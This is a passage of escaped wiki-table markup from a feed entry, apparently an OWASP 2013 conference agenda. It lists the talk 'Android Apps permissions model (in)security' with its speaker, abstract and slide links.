point and the behaviors of the parties, which are involved in the attack, are considered in order to understand how attackers move, how victims are cheated and how developers should act.&lt;br /&gt;
| style=&amp;quot;width:13%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | [https://www.owasp.org/images/7/7c/Gentile_OWASP_EU_Tour_2013.pdf Slides]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:7%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | 12:00 am&amp;lt;br&amp;gt;(30 mins) &lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Android Apps permissions model (in)security&lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Davide Danelon, Software Security Consultant of Minded Security&lt;br /&gt;
| style=&amp;quot;width:40%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Android devices, as well as applications developed for them, are growing exponentially and, as result, the personal data that users retain on such devices are increasing. Android has made of the &amp;quot;permissions model&amp;quot;, a flag of the security of the operating system. How this model turns out to be really secure? Can an application, that do not require any permission, access to sensitive data and send them to a remote handler? We will focus on the security management of Android and how this model can be, in part, bypassed independently from the version in use. In the example shown, an application, seemingly harmless, is able to steal the data stored on a device updated to the latest version, currently available, of Android.&lt;br /&gt;
| style=&amp;quot;width:13%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | [https://www.owasp.org/images/3/3e/Danelon_OWASP_EU_Tour_2013.pdf Slides]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	</feed>